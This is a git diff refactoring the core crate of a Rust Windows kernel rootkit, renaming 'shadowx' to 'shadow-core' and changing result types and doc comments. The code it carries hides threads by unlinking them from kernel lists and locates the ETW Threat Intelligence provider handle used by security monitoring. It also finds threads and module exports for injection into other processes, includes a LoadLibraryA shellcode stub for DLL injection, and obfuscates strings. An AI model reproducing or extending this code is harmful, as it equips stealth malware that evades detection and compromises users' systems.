+ /// Creates a new [`Thread`]. /// /// # Arguments /// /// * `tid` - The thread identifier (TID) of the thread to be looked up. /// - /// # Returns - /// - /// * `Ok(Self)` - Returns a `Thread` instance if the thread lookup is successful. - /// * `Err(ShadowError)` - Returns an error message if the lookup fails. - /// /// # Examples /// /// ```rust,ignore @@ -52,35 +39,20 @@ impl Thread { /// } /// ``` #[inline] - pub fn new(tid: usize) -> Result { + pub fn new(tid: usize) -> ShadowResult { let mut e_thread = core::ptr::null_mut(); let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut e_thread) }; if NT_SUCCESS(status) { Ok(Self { e_thread }) } else { - Err(ShadowError::ApiCallFailed("PsLookupThreadByThreadId", status)) + Err(ShadowError::ApiCallFailed( + "PsLookupThreadByThreadId", + status, + )) } } -} -/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope. -/// -/// The `Drop` implementation ensures that the reference count on the `ETHREAD` structure -/// is properly decremented when the `Thread` instance is dropped. This prevents resource leaks. -impl Drop for Thread { - /// Cleans up the resources held by the `Thread` structure. - /// - /// This method decrements the reference count of the `ETHREAD` structure when the - /// `Thread` instance is dropped, ensuring proper cleanup. - fn drop(&mut self) { - if !self.e_thread.is_null() { - unsafe { ObfDereferenceObject(self.e_thread.cast()) }; - } - } -} - -impl Thread { /// Hides a thread by removing it from the active thread list in the operating system. /// /// # Arguments @@ -89,10 +61,9 @@ impl Thread { /// /// # Returns /// - /// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring threads - /// in the list before it was modified. - /// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue. - pub unsafe fn hide_thread(tid: usize) -> Result { + /// The previous `LIST_ENTRY` containing the pointers to the neighboring threads + /// in the list before it was modified. + pub unsafe fn hide_thread(tid: usize) -> ShadowResult { // Getting offsets based on the Windows build number let active_thread_link = get_thread_list_entry_offset(); let offset_lock = get_thread_lock_offset(); @@ -141,9 +112,8 @@ impl Thread { /// /// # Returns /// - /// * `Ok(NTSTATUS)` - Indicates the thread was successfully restored to the active list. - /// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue. - pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> Result { + /// Indicates the thread was successfully restored to the active list. + pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> ShadowResult { // Getting offsets based on the Windows build number let active_thread_link = get_thread_list_entry_offset(); let offset_lock = get_thread_lock_offset(); @@ -175,12 +145,9 @@ impl Thread { /// Enumerates all currently hidden threads. /// - /// This function iterates through the list of hidden threads stored in `THREAD_INFO_HIDE` and returns - /// a vector containing their information. - /// /// # Returns /// - /// * A vector containing the information of all hidden threads. + /// A vector containing the information of all hidden threads. pub unsafe fn enumerate_hide_threads() -> Vec { let mut threads: Vec = Vec::new(); let thread_info = THREAD_INFO_HIDE.lock(); @@ -194,3 +161,11 @@ impl Thread { threads } } + +impl Drop for Thread { + fn drop(&mut self) { + if !self.e_thread.is_null() { + unsafe { ObfDereferenceObject(self.e_thread.cast()) }; + } + } +} diff --git a/shadowx/src/utils/address.rs b/crates/shadow-core/src/utils/address.rs similarity index 84% rename from shadowx/src/utils/address.rs rename to crates/shadow-core/src/utils/address.rs index 54f1080..bd86061 100644 --- a/shadowx/src/utils/address.rs +++ b/crates/shadow-core/src/utils/address.rs @@ -1,6 +1,6 @@ use alloc::string::ToString; use core::{ - ffi::{CStr, c_void}, + ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts, }; @@ -8,22 +8,14 @@ use core::{ use ntapi::ntexapi::SystemModuleInformation; use wdk_sys::{NT_SUCCESS, POOL_FLAG_NON_PAGED}; -use super::pool::PoolMemory; -use crate::data::{ - IMAGE_DOS_HEADER, - IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS -}; +use super::pool::PoolMemory; use crate::{ - Result, - SystemModuleInformation, - data::ZwQuerySystemInformation, - error::ShadowError + data::{ZwQuerySystemInformation, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS}, + error::{ShadowError, ShadowResult}, + SystemModuleInformation, }; /// Gets the base address of a specified module by querying system module information. -/// This function queries the system for all loaded modules and compares their names -/// to the provided module name to find the base address. /// /// # Arguments /// @@ -31,9 +23,8 @@ use crate::{ /// /// # Returns /// -/// * `Ok(*mut c_void)` - A pointer to the base address of the module if found. -/// * `Err(ShadowError)` - If the module is not found or an error occurs during execution. -pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void> { +/// A pointer to the base address of the module if found. +pub unsafe fn get_module_base_address(module_name: &str) -> ShadowResult<*mut c_void> { // Initial call to ZwQuerySystemInformation to get the required buffer size for system module info let mut return_bytes = 0; ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes); @@ -89,12 +80,11 @@ pub unsafe fn get_module_base_address(module_name: &str) -> Result<*mut c_void> /// /// # Returns /// -/// * `Some(*mut c_void)` - An pointer to the function's address. -/// * `None` if the function is not found. +/// An pointer to the function's address. pub unsafe fn get_function_address( function_name: &str, dll_base: *mut c_void, -) -> Result<*mut c_void> { +) -> ShadowResult<*mut c_void> { let dos_header = dll_base as *const IMAGE_DOS_HEADER; let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS; diff --git a/shadowx/src/utils/attach.rs b/crates/shadow-core/src/utils/attach.rs similarity index 62% rename from shadowx/src/utils/attach.rs rename to crates/shadow-core/src/utils/attach.rs index 6ba2111..ad4d1ce 100644 --- a/shadowx/src/utils/attach.rs +++ b/crates/shadow-core/src/utils/attach.rs @@ -1,11 +1,9 @@ use wdk_sys::{ - KAPC_STATE, PRKPROCESS, ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, + KAPC_STATE, PRKPROCESS, }; /// A wrapper for managing the attachment to a process context in the Windows kernel. -/// When a `ProcessAttach` instance is dropped, it will automatically detach from the process -/// if still attached. pub struct ProcessAttach { /// The APC (Asynchronous Procedure Call) state used to manage process attachment. apc_state: KAPC_STATE, @@ -15,15 +13,11 @@ pub struct ProcessAttach { } impl ProcessAttach { - /// Attaches to the context of a target process. + /// Create a new `ProcessAttach`. /// /// # Arguments /// /// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to. - /// - /// # Returns - /// - /// * A new `ProcessAttach` instance representing the attached process context. #[inline] pub fn new(target_process: PRKPROCESS) -> Self { let mut apc_state = unsafe { core::mem::zeroed::() }; @@ -39,9 +33,6 @@ impl ProcessAttach { } /// Manually detaches from the process context. - /// - /// This method can be called to explicitly detach the current thread from the target process's - /// address space, if it was previously attached. #[inline] pub fn detach(&mut self) { if self.attached { @@ -55,11 +46,6 @@ impl ProcessAttach { } impl Drop for ProcessAttach { - /// Automatically detaches from the process context when the `ProcessAttach` instance is dropped. - /// - /// This method ensures that the current thread is detached from the target process's address space - /// when the `ProcessAttach` object goes out of scope. If the process is still attached when `drop` - /// is called, it will be safely detached using `KeUnstackDetachProcess`. fn drop(&mut self) { // If it is still attached, it unattaches when it leaves the scope. if self.attached { diff --git a/shadowx/src/utils/file.rs b/crates/shadow-core/src/utils/file.rs similarity index 84% rename from shadowx/src/utils/file.rs rename to crates/shadow-core/src/utils/file.rs index f1fa6cc..f0aeb0d 100644 --- a/shadowx/src/utils/file.rs +++ b/crates/shadow-core/src/utils/file.rs @@ -1,30 +1,25 @@ use alloc::vec::Vec; use core::{ffi::c_void, ptr::null_mut}; +use wdk_sys::*; use wdk_sys::{ - _FILE_INFORMATION_CLASS::FileStandardInformation, ntddk::{ZwCreateFile, ZwQueryInformationFile, ZwReadFile}, - *, + _FILE_INFORMATION_CLASS::FileStandardInformation, }; -use super::{InitializeObjectAttributes, handle::Handle}; -use crate::{Result, error::ShadowError}; +use super::{handle::Handle, InitializeObjectAttributes}; +use crate::error::{ShadowError, ShadowResult}; /// Reads the content of a file given its path in the NT kernel environment. /// /// # Arguments /// -/// * `path` - A string slice representing the path to the file. The path should follow -/// the standard Windows format (e.g., `C:\\path\\to\\file`). +/// * `path` - A string slice representing the path to the file. /// /// # Returns /// -/// * `Ok(Vec)` - A vector containing the file's content as bytes if the file is successfully opened and read. -/// * `Err(ShadowError)` - If an error occurs during: -/// - Opening the file (`ZwCreateFile` failure), -/// - Querying file information (`ZwQueryInformationFile` failure), -/// - Reading the file (`ZwReadFile` failure). -pub fn read_file(path: &str) -> Result> { +/// A vector containing the file's content as bytes if the file is successfully opened and read. +pub fn read_file(path: &str) -> ShadowResult> { // Converts the path to NT format (e.g., "\\??\\C:\\path\\to\\file") let path_nt = alloc::format!("\\??\\{}", path); diff --git a/crates/shadow-core/src/utils/handle.rs b/crates/shadow-core/src/utils/handle.rs new file mode 100644 index 0000000..f1547b1 --- /dev/null +++ b/crates/shadow-core/src/utils/handle.rs @@ -0,0 +1,32 @@ +use wdk_sys::{ntddk::ZwClose, HANDLE}; + +/// A wrapper around a Windows `HANDLE` that automatically closes the handle when dropped. +pub struct Handle(HANDLE); + +impl Handle { + /// Creates a new `Handle`. + /// + /// # Arguments + /// + /// * `handle` - A raw Windows `HANDLE` to wrap. + #[inline] + pub fn new(handle: HANDLE) -> Self { + Handle(handle) + } + + /// Returns the raw `HANDLE`. + #[inline] + pub fn get(&self) -> HANDLE { + self.0 + } +} + +impl Drop for Handle { + fn drop(&mut self) { + if !self.0.is_null() { + unsafe { + ZwClose(self.0); + } + } + } +} diff --git a/shadowx/src/utils/lock.rs b/crates/shadow-core/src/utils/lock.rs similarity index 100% rename from shadowx/src/utils/lock.rs rename to crates/shadow-core/src/utils/lock.rs index 3684fc1..42a5139 100644 --- a/shadowx/src/utils/lock.rs +++ b/crates/shadow-core/src/utils/lock.rs @@ -1,8 +1,8 @@ -use wdk_sys::ERESOURCE; use wdk_sys::ntddk::{ ExAcquirePushLockExclusiveEx, ExAcquireResourceSharedLite, ExReleasePushLockExclusiveEx, }; use wdk_sys::ntddk::{ExAcquireResourceExclusiveLite, ExReleaseResourceLite}; +use wdk_sys::ERESOURCE; /// Generic function that performs the operation with the lock already acquired. /// It will acquire the lock exclusively and guarantee its release after use. diff --git a/shadowx/src/utils/mdl.rs b/crates/shadow-core/src/utils/mdl.rs similarity index 79% rename from shadowx/src/utils/mdl.rs rename to crates/shadow-core/src/utils/mdl.rs index 8e465f2..498800f 100644 --- a/shadowx/src/utils/mdl.rs +++ b/crates/shadow-core/src/utils/mdl.rs @@ -1,22 +1,14 @@ use core::ptr::null_mut; use wdk_sys::ntddk::{ - IoAllocateMdl, IoFreeMdl, - MmMapLockedPagesSpecifyCache, - MmProbeAndLockPages, - MmUnlockPages, + IoAllocateMdl, IoFreeMdl, MmMapLockedPagesSpecifyCache, MmProbeAndLockPages, MmUnlockPages, MmUnmapLockedPages, }; use wdk_sys::{ - _LOCK_OPERATION::IoModifyAccess, - _MEMORY_CACHING_TYPE::MmCached, - _MM_PAGE_PRIORITY::HighPagePriority, - _MODE::KernelMode, MDL, - MdlMappingNoExecute, PUCHAR, + MdlMappingNoExecute, MDL, PUCHAR, _LOCK_OPERATION::IoModifyAccess, + _MEMORY_CACHING_TYPE::MmCached, _MM_PAGE_PRIORITY::HighPagePriority, _MODE::KernelMode, }; /// Memory Descriptor List (MDL) wrapper for safe kernel memory modification. -/// -/// This struct encapsulates an MDL to safely lock, map, and modify memory regions. pub struct Mdl { /// Pointer to the MDL structure. mdl: *mut MDL, @@ -26,20 +18,12 @@ pub struct Mdl { } impl Mdl { - /// Creates a new MDL for modifying kernel memory. - /// - /// This function allocates an MDL, locks the memory pages, and maps them - /// for kernel access. + /// Creates a new `Mdl`. /// /// # Arguments /// /// * `dest` - Target memory address to be modified. /// * `size` - Size of the memory region to lock. - /// - /// # Returns - /// - /// * `Some(Mdl)` - On success. - /// * `None` - If allocation or mapping fails. pub fn new(dest: *const u8, size: usize) -> Option { if dest.is_null() || size == 0 { wdk::println!("Invalid Parameters"); @@ -65,7 +49,7 @@ impl Mdl { 0, HighPagePriority as u32 | MdlMappingNoExecute, ) as *mut u8; - + if mapped_address.is_null() { wdk::println!("Failed to map blocked pages"); MmUnlockPages(mdl); diff --git a/shadowx/src/utils/mod.rs b/crates/shadow-core/src/utils/mod.rs similarity index 85% rename from shadowx/src/utils/mod.rs rename to crates/shadow-core/src/utils/mod.rs index 752a386..e79aaec 100644 --- a/shadowx/src/utils/mod.rs +++ b/crates/shadow-core/src/utils/mod.rs @@ -1,37 +1,27 @@ use alloc::string::{String, ToString}; use core::{ - ffi::{CStr, c_void}, + ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts, }; -use ntapi::ntexapi::{ - PSYSTEM_PROCESS_INFORMATION, - SystemProcessInformation -}; +use ntapi::ntexapi::{SystemProcessInformation, PSYSTEM_PROCESS_INFORMATION}; +use wdk_sys::*; use wdk_sys::{ - _KWAIT_REASON::{ - DelayExecution, - UserRequest, - WrAlertByThreadId - }, - ntddk::{ - MmGetSystemRoutineAddress, - PsIsThreadTerminating - }, - *, + ntddk::{MmGetSystemRoutineAddress, PsIsThreadTerminating}, + _KWAIT_REASON::{DelayExecution, UserRequest, WrAlertByThreadId}, }; use crate::data::{ - IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS, KTHREAD_STATE::Waiting, + IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS, KTHREAD_STATE::Waiting, LDR_DATA_TABLE_ENTRY, PEB, }; +use crate::*; use crate::{ - ZwQuerySystemInformation, - attach::ProcessAttach, - error::ShadowError, - pool::PoolMemory, *, + attach::ProcessAttach, + error::{ShadowError, ShadowResult}, + pool::PoolMemory, + ZwQuerySystemInformation, }; pub mod address; @@ -52,9 +42,8 @@ pub mod uni; /// /// # Returns /// -/// * `Ok(*mut _KTHREAD)` - A pointer to the `KTHREAD` of the found alertable thread. -/// * `Err(ShadowError)` - If no suitable thread is found or an error occurs during the search. -pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD> { +/// A pointer to the `KTHREAD` of the found alertable thread. +pub unsafe fn find_thread_alertable(target_pid: usize) -> ShadowResult<*mut _KTHREAD> { // Initial call to get the necessary buffer size for system process information let mut return_bytes = 0; ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); @@ -73,7 +62,10 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD> ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)); + return Err(ShadowError::ApiCallFailed( + "ZwQuerySystemInformation", + status, + )); } // Iterate over process information to find the target PID and alertable thread @@ -125,7 +117,7 @@ pub unsafe fn find_thread_alertable(target_pid: usize) -> Result<*mut _KTHREAD> /// /// /// -pub unsafe fn find_thread(target_pid: usize) -> Result<*mut _KTHREAD> { +pub unsafe fn find_thread(target_pid: usize) -> ShadowResult<*mut _KTHREAD> { // Initial call to get the necessary buffer size for system process information let mut return_bytes = 0; ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); @@ -144,7 +136,10 @@ pub unsafe fn find_thread(target_pid: usize) -> Result<*mut _KTHREAD> { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)); + return Err(ShadowError::ApiCallFailed( + "ZwQuerySystemInformation", + status, + )); } // Iterate over process information to find the target PID and alertable thread @@ -196,13 +191,12 @@ pub unsafe fn find_thread(target_pid: usize) -> Result<*mut _KTHREAD> { /// /// # Returns /// -/// * `Ok(*mut c_void)` - A pointer to the function's address if found. -/// * `Err(ShadowError)` - If the function or module is not found, or an error occurs during execution. +/// A pointer to the function's address if found. pub unsafe fn get_function_peb( pid: usize, module_name: &str, function_name: &str, -) -> Result<*mut c_void> { +) -> ShadowResult<*mut c_void> { // Recovering `PEPROCESS` let process = Process::new(pid)?; let mut attach_process = ProcessAttach::new(process.e_process); @@ -210,7 +204,10 @@ pub unsafe fn get_function_peb( // Access its `PEB` let peb = PsGetProcessPeb(process.e_process) as *mut PEB; if peb.is_null() || (*peb).Ldr.is_null() { - return Err(ShadowError::FunctionExecutionFailed("PsGetProcessPeb", line!())); + return Err(ShadowError::FunctionExecutionFailed( + "PsGetProcessPeb", + line!(), + )); } // Traverse the InLoadOrderModuleList to find the module @@ -300,8 +297,8 @@ pub unsafe fn get_function_peb( /// /// # Returns /// -/// * `Option` - An optional containing the PID of the process, or None if the process is not found. -pub unsafe fn get_process_by_name(process_name: &str) -> Result { +/// Ccontaining the PID of the process, or Err if the process is not found. +pub unsafe fn get_process_by_name(process_name: &str) -> ShadowResult { let mut return_bytes = 0; ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes); @@ -317,7 +314,10 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Result { ); if !NT_SUCCESS(status) { - return Err(ShadowError::ApiCallFailed("ZwQuerySystemInformation", status)); + return Err(ShadowError::ApiCallFailed( + "ZwQuerySystemInformation", + status, + )); } let mut process_info = info_process; @@ -354,7 +354,7 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Result { /// /// # Returns /// -/// * True if the address is within the kernel memory range, False otherwise. +/// If the address is within the kernel memory range. pub fn valid_kernel_memory(addr: u64) -> bool { unsafe { addr >= wdk_sys::MmSystemRangeStart as u64 } } @@ -367,7 +367,7 @@ pub fn valid_kernel_memory(addr: u64) -> bool { /// /// # Returns /// -/// * True if the address is within the user memory range, False otherwise. +/// If the address is within the user memory range. pub fn valid_user_memory(addr: u64) -> bool { unsafe { addr > 0 && addr <= wdk_sys::MmHighestUserAddress as u64 } } @@ -376,9 +376,9 @@ pub fn valid_user_memory(addr: u64) -> bool { /// /// # Returns /// -/// - `Option<(*mut LDR_DATA_TABLE_ENTRY, i32)> `: Returns a content containing LDR_DATA_TABLE_ENTRY -/// and the return of how many loaded modules there are in PsLoadedModuleList. -pub fn modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32)> { +/// Content containing LDR_DATA_TABLE_ENTRY and the return of how many loaded modules +/// there are in PsLoadedModuleList. +pub fn modules() -> ShadowResult<(*mut LDR_DATA_TABLE_ENTRY, i32)> { let ps_module = crate::uni::str_to_unicode(obfstr::obfstr!("PsLoadedModuleList")); let ldr_data = unsafe { MmGetSystemRoutineAddress(&mut ps_module.to_unicode()) as *mut LDR_DATA_TABLE_ENTRY @@ -403,7 +403,7 @@ pub fn modules() -> Result<(*mut LDR_DATA_TABLE_ENTRY, i32)> { /// /// # Returns /// -/// * Returns an `OBJECT_ATTRIBUTES` structure initialized with the provided parameters. +/// `OBJECT_ATTRIBUTES` structure initialized with the provided parameters. pub fn InitializeObjectAttributes( object_name: Option<*mut UNICODE_STRING>, attributes: u32, diff --git a/shadowx/src/utils/patterns.rs b/crates/shadow-core/src/utils/patterns.rs similarity index 83% rename from shadowx/src/utils/patterns.rs rename to crates/shadow-core/src/utils/patterns.rs index 829cb79..71cd99a 100644 --- a/shadowx/src/utils/patterns.rs +++ b/crates/shadow-core/src/utils/patterns.rs @@ -1,56 +1,75 @@ use core::{ - ffi::{CStr, c_void}, + ffi::{c_void, CStr}, ptr::{null_mut, read}, slice::from_raw_parts, }; use obfstr::obfstr; +use wdk_sys::*; use wdk_sys::{ + ntddk::{ZwClose, ZwMapViewOfSection, ZwOpenSection, ZwUnmapViewOfSection}, _SECTION_INHERIT::ViewUnmap, - ntddk::{ - ZwClose, - ZwMapViewOfSection, - ZwOpenSection, - ZwUnmapViewOfSection - }, - *, }; -use super::{ - InitializeObjectAttributes, - address::get_module_base_address -}; +use super::{address::get_module_base_address, InitializeObjectAttributes}; use crate::{ - Result, - error::ShadowError, + data::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS, IMAGE_SECTION_HEADER}, + error::{ShadowError, ShadowResult}, utils::uni, - data::{ - IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS, IMAGE_SECTION_HEADER - }, }; +/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for +/// identifying the location of the `EtwThreatIntProvRegHandle` in memory. +pub const ETWTI_PATTERN: [u8; 5] = [ + 0x33, 0xD2, // 33d2 xor edx,edx + 0x48, 0x8B, + 0x0D, // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)] +]; + +/// The `ZW_PATTERN` represents a sequence of machine instructions used for +/// identifying system service routines within the Windows kernel. +pub static mut ZW_PATTERN: [u8; 30] = [ + 0x48, 0x8B, 0xC4, // mov rax, rsp + 0xFA, // cli + 0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h + 0x50, // push rax + 0x9C, // pushfq + 0x6A, 0x10, // push 10h + 0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage + 0x50, // push rax + 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, + 0xE9, 0xCC, 0xCC, 0xCC, 0xCC, // jmp KiServiceInternal +]; + +pub static mut LDR_SHELLCODE: [u8; 31] = [ + 0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28 + 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, LoadLibraryA + 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, &DllPath + 0xFF, 0xD0, // call rax + 0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28 + 0xC3, // ret +]; + /// Scans memory for a specific pattern of bytes in a specific section. /// /// # Arguments /// -/// * `function_address` - The base address (in `usize` format) from which the scan should start. -/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory. +/// * `function_address` - The base address from which the scan should start. +/// * `pattern` - A slice of bytes that represents the pattern you are searching for in memory. /// * `offset` - Offset from the pattern position where the i32 value starts. /// * `final_offset` - The final offset applied to the resulting address. /// * `size` - The size of the memory to scan. /// /// # Returns /// -/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32. -/// * `Err(ShadowError)` - Error if pattern not found or conversion fails. +/// The computed address after applying offsets and the found i32. pub unsafe fn scan_for_pattern( function_address: *mut c_void, pattern: &[u8], offset: usize, final_offset: isize, size: usize, -) -> Result<*mut u8> { +) -> ShadowResult<*mut u8> { let function_bytes = from_raw_parts(function_address as *const u8, size); if let Some(x) = function_bytes @@ -86,9 +105,8 @@ pub unsafe fn scan_for_pattern( /// /// # Returns /// -/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found. -/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails. -pub unsafe fn get_syscall_index(function_name: &str) -> Result { +/// The syscall index if the function is found. +pub unsafe fn get_syscall_index(function_name: &str) -> ShadowResult { let mut section_handle = null_mut(); let dll = uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll")); let mut obj_attr = InitializeObjectAttributes( @@ -203,10 +221,8 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Result { /// /// # Returns /// -/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found. -/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs. -/// It should be used with caution in kernel mode to prevent system instability. -pub unsafe fn find_zw_function(name: &str) -> Result { +/// The address of the Zw function if found. +pub unsafe fn find_zw_function(name: &str) -> ShadowResult { let ssn = get_syscall_index(name)?; let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?; @@ -215,7 +231,8 @@ pub unsafe fn find_zw_function(name: &str) -> Result { ZW_PATTERN[22] = ssn_bytes[1]; let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER; - let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS; + let nt_header = + (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS; let section_header = (nt_header as usize + size_of::()) as *const IMAGE_SECTION_HEADER; @@ -224,7 +241,8 @@ pub unsafe fn find_zw_function(name: &str) -> Result { let section = (*section_header.add(i)).Name; let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0'); if name == obfstr!(".text") { - let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; + let text_start = + ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize; let text_end = text_start + (*section_header.add(i)).Misc.VirtualSize as usize; let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start); @@ -245,35 +263,3 @@ pub unsafe fn find_zw_function(name: &str) -> Result { line!(), )) } - -/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for -/// identifying the location of the `EtwThreatIntProvRegHandle` in memory. -pub const ETWTI_PATTERN: [u8; 5] = [ - 0x33, 0xD2, // 33d2 xor edx,edx - 0x48, 0x8B, - 0x0D, // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)] -]; - -/// The `ZW_PATTERN` represents a sequence of machine instructions used for -/// identifying system service routines within the Windows kernel. -pub static mut ZW_PATTERN: [u8; 30] = [ - 0x48, 0x8B, 0xC4, // mov rax, rsp - 0xFA, // cli - 0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h - 0x50, // push rax - 0x9C, // pushfq - 0x6A, 0x10, // push 10h - 0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage - 0x50, // push rax - 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, - 0xE9, 0xCC, 0xCC, 0xCC, 0xCC, // jmp KiServiceInternal -]; - -pub static mut LDR_SHELLCODE: [u8; 31] = [ - 0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28 - 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, LoadLibraryA - 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, &DllPath - 0xFF, 0xD0, // call rax - 0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28 - 0xC3, // ret -]; diff --git a/shadowx/src/utils/pool.rs b/crates/shadow-core/src/utils/pool.rs similarity index 64% rename from shadowx/src/utils/pool.rs rename to crates/shadow-core/src/utils/pool.rs index 5587b8d..a0d334e 100644 --- a/shadowx/src/utils/pool.rs +++ b/crates/shadow-core/src/utils/pool.rs @@ -1,33 +1,24 @@ use core::ffi::c_void; use wdk_sys::{ - POOL_FLAGS, ntddk::{ExAllocatePool2, ExFreePool}, + POOL_FLAGS, }; /// A wrapper around memory allocated from the pool in the Windows kernel. -/// -/// This struct provides a safe abstraction over memory allocated from the kernel pool. -/// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out -/// of scope, by calling `ExFreePool` in its `Drop` implementation. pub struct PoolMemory { /// A raw pointer to the allocated pool memory. pub ptr: *mut c_void, } impl PoolMemory { - /// Allocates memory from the Windows kernel pool. + /// Create new a `PoolMemory`. /// /// # Arguments /// - /// * `flag` - Flags controlling memory allocation behavior (e.g., paged or non-paged memory). - /// * `number_of_bytes` - Size of the memory block to allocate (in bytes). + /// * `flag` - Flags controlling memory allocation behavior. + /// * `number_of_bytes` - Size of the memory block to allocate. /// * `tag` - A **4-character string** identifying the memory allocation. /// - /// # Returns - /// - /// * `Some(PoolMemory)` - If memory allocation succeeds. - /// * `None` - If memory allocation fails. - /// /// # Panics /// /// This function **panics** if `tag` is not exactly 4 characters long. @@ -59,11 +50,6 @@ impl PoolMemory { } impl Drop for PoolMemory { - /// Frees the allocated pool memory when the `PoolMemory` instance is dropped. - /// - /// This method is automatically called when the `PoolMemory` goes out of scope. It ensures that - /// the memory allocated with `ExAllocatePool2` is properly freed using `ExFreePool`, unless - /// the pointer is null. fn drop(&mut self) { if !self.ptr.is_null() { unsafe { ExFreePool(self.ptr) }; diff --git a/shadowx/src/utils/uni.rs b/crates/shadow-core/src/utils/uni.rs similarity index 91% rename from shadowx/src/utils/uni.rs rename to crates/shadow-core/src/utils/uni.rs index b582727..5882b0c 100644 --- a/shadowx/src/utils/uni.rs +++ b/crates/shadow-core/src/utils/uni.rs @@ -17,7 +17,7 @@ impl OwnedUnicodeString { /// /// # Returns /// - /// * A `UNICODE_STRING` pointing to the wide string stored in `buffer`. + /// A `UNICODE_STRING` pointing to the wide string stored in `buffer`. pub fn to_unicode(&self) -> UNICODE_STRING { // The length is the size of the string in bytes, excluding the null terminator. // MaximumLength includes the null terminator. @@ -37,7 +37,7 @@ impl OwnedUnicodeString { /// /// # Returns /// -/// * A structure containing the wide (UTF-16) representation of the input string. +/// A structure containing the wide (UTF-16) representation of the input string. pub fn str_to_unicode(str: &str) -> OwnedUnicodeString { // Convert the rust string to a wide string let mut wide_string: Vec = str.encode_utf16().collect(); diff --git a/driver/Cargo.lock b/driver/Cargo.lock index 3139036..fb477a9 100644 --- a/driver/Cargo.lock +++ b/driver/Cargo.lock @@ -598,7 +598,7 @@ dependencies = [ "kernel-log", "log", "obfstr", - "shadowx", + "shadow-core", "spin", "wdk", "wdk-build", @@ -607,7 +607,7 @@ dependencies = [ ] [[package]] -name = "shadowx" +name = "shadow-core" version = "0.1.0" dependencies = [ "bitfield", diff --git a/driver/Cargo.toml b/driver/Cargo.toml index 6ae1451..a926085 100644 --- a/driver/Cargo.toml +++ b/driver/Cargo.toml @@ -21,8 +21,8 @@ log = "0.4.22" spin = "0.9.8" obfstr = "0.4.3" kernel-log = "0.1.3" -common = { path = "../common" } -shadowx = { path = "../shadowx" } +common = { path = "../crates/common" } +shadow-core = { path = "../crates/shadow-core" } 